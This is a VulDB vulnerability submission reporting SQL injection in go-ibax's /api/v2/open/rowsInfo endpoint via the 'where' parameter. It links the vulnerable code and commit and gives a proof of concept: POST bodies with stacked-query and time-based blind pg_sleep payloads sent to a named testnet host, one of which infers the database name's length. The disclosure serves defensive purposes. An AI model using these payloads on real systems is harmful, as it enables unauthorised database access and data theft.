제출 #50344: SQL injection vulnerability in go-ibax via where parameter

SQL Injection vulnerability in /packages/api/database.go of go-ibax via where parameter .This issue affects versions starting from commits on Jul 18, 2020.

file:
https://github.com/IBAX-io/go-ibax/blob/6bac7462801b5e6da47f1231681bb1516a7dd4bb/packages/api/database.go#L189

commits:
https://github.com/IBAX-io/go-ibax/commit/ac760982dc31edc904c160c2e5707a28798646e2#diff-bcab25c94cb216acdcdc607a2071aa896f187754698d3d523050308e17f32aabR174

POC:
Request URL: https://testnet-hk1.ibax.network:5079/api/v2/open/rowsInfo
Request Method: POST
PostData: order=1&where=1=1%3b%3bselect+pg_sleep(10)%3b--&table_name=pg_user&limit=1&page=1
as you can see, when I use pg_sleep, the request is delayed 10s.

PostData:
order=1&where=1=1%3b%3bselect+case+when((select+length(current_database()))=4)+then+pg_sleep(5)+else+pg_sleep(0)+end%3b--&table_name=pg_user&limit=1&page=1
as you can see, when I use pg_sleep to judge the length of current_database , it shows 4.

• 원천: ⚠️ https://github.com/IBAX-io/go-ibax/issues/2063
• 사용자: Tomy (UID 34751)
• 제출: 2022. 11. 01. PM 12:42 (4 연령 ago)
• 모더레이션: 2022. 11. 01. PM 04:45 (4 hours later)
• 상태: 수락
• VulDB 항목: 212638 [IBAX go-ibax /api/v2/open/rowsInfo where SQL 주입]
• 포인트들: 20